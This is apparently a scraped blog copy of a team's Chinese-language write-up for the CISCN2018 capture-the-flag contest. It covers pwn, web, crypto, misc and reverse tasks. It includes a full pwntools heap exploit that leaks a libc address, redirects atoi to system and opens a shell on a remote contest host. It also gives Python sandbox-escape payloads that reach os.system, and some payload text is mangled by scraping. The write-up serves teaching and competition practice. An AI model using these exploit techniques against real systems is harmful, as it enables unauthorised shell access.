zoukankan      html  css  js  c++  java
  • CISCN2018 Writeup

    The Lounge战队 CISCN2018 Writeup

    Pwn-Supermarket


    from pwn import *

    def add(name,price,size,des):
    p.sendlineafter(">> ","1")
    p.sendlineafter("name:",name)
    p.sendlineafter("price:",str(price))
    p.sendlineafter("descrip_size:",str(size))
    p.sendlineafter("description:",des)

    def listall():
    p.sendlineafter(">> ","3")

    def delete(name):
    p.sendlineafter(">> ","2")
    p.sendlineafter("name:",name)

    def change_price(name,price):
    p.sendlineafter(">> ","4")
    p.sendafter("name:",name)
    p.sendlineafter("in:",str(price))

    def change_des(name,size,des):
    p.sendlineafter(">> ","5")
    p.sendlineafter("name:",name)
    p.sendlineafter("descrip_size:",str(size))
    p.sendlineafter("description:",des)

    '''
    atoi 0xf7643050 0xf75e4050
    puts 0xf75f4140 0xf7603140
    free 0xf765d750 0xf75af750
    '''

    local=0
    if local:
    p=process('./task_supermarket')
    libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    atoi_offset=libc.symbols['atoi']
    sys_offset=libc.symbols['system']
    else:
    p=remote('117.78.27.192',32285)
    atoi_offset=0x2d050
    sys_offset=0x3a940

    add('aaaa',100,0x50,'A'*0x50)
    add('1111',100,0x50,'A'*0x50)
    add('b'*12+'x41',100,0x38,'B'*0x38)
    add('cccc',100,0x60,'C'*0x60)
    add('dddd',100,0x20,'D'*0x20)
    delete('b'*12+'x41')
    change_des('cccc',0x20,'M'*0x24+p32(0x41))

    add('eeee',100,0x38,'EEEE')
    add('ffff',100,0x38,p32(101)+p32(0x38)+p32(0x804b048)+p32(0x41))
    listall()
    p.recvuntil("101, des.")

    data=p.recv(4)
    print data
    atoi_addr=u32(data.ljust(4,'x00'))
    print hex(atoi_addr)

    libc_base=atoi_addr-atoi_offset
    system=libc_base+sys_offset
    print "system",hex(system)

    change_des('eeee',0x38,p64(system))

    p.sendlineafter(">> ","/bin/shx00")
    p.interactive()

    Web-EasyWeb

    无力吐槽的题目,空密码。

    Crypto-Flag_in_your_hand

    基本逻辑很简单,看showFlag函数。

    判断ic状态来决定是否是正确Token。

    文件唯一有改动ic的地方就是这了,看一下逻辑。就是a数组所有值-3转成ASCII字符就是正确Token。

    Misc-寻找入侵者

    用mac地址爆破出honey密码

    然后使用airdecap-ng提取出另一个数据包,在包里面发现出题人博客以及key.rar的下载地址,下载后解压得到key.pcap,发现可疑字符串,即为flag

    Misc-Memory_Forensic

    很荣幸是三血。其实能更快。首先用IDA看一下逻辑。发现已经出现了”CISCN{“ “}” 和几个疑似flag的字符串,然后他会用snprintf去写内存,那么真flag应该会出现在内存中。
    我是用的Vmware14配Mac OS High Siera,这样能拿到完整内存Dump。首先关闭System Integrity Protection,然后kextutil agent.kext加载,然后它会黑屏,在黑屏一瞬间切出去,暂停虚拟机。拿到整个内存Dump。然后用16进制编辑器搜索“CISCN{”就行。

    Misc-Picture

    首先给了个假的PNG,其实是JPG。FFD9结尾处有数据,提出来,file一下发现是zlib数据,然后直接binwalk解压,给了个Base64字符串,解密后是KP什么的,还有Python code,当时想偏了,以为是PYC文件,修了半天发现格式全错。后来把头部改成PK,是个正常的ZIP文件。然后要密码。

    注意右边注释,Python控制台报错?试一下。

    没错,integer division or modulo by zero这是密码。成功解压后是个UUEncode,解密就行了。

    Misc-验证码

    没啥好说的,签到题,进去就有flag。

    Misc-RUN

    Python沙箱逃逸,试了很多Payload。所有的popen都会报unkonw error。所有的二阶dict也会报错,后来想到找一个globals
    x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+’tch_warnings’][0].init
    x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
    x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
    x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’

    Reverse-RE

    程序先检测flag格式头,然后根据“_”将内容分为三个部分,分别加密之后与字符串比较,前两个部分的内容很容易得到,解开md5值为tofu和gana,第三部分flag的MD5无法解开,卡了两三个小时,看到第三个函数与其他两个的区别是后面将大量数据写到一个叫“flag”的文件中,但是需要异或的两个key值,分别和数据奇数项和偶数项异或,因为看到第一个数据和第三个数据相同,猜测文件是jepg格式,果然解出来是张图片,连在一起即为完整flag.

  • 相关阅读:
    Web负载均衡的几种实现方式
    DNS负载均衡
    NoSQL开篇——为什么要使用NoSQL
    mySQL优化 my.ini 配置说明
    mysql性能优化-慢查询分析、优化索引和配置
    MySQL性能优化的最佳20+条经验
    IOS的UIPickerView 和UIDatePicker
    IOS的KVC
    IOS中的通知NSNotification
    IOS对话框UIAlertView
  • 原文地址:https://www.cnblogs.com/P201521440001/p/9865475.html
Copyright © 2011-2022 走看看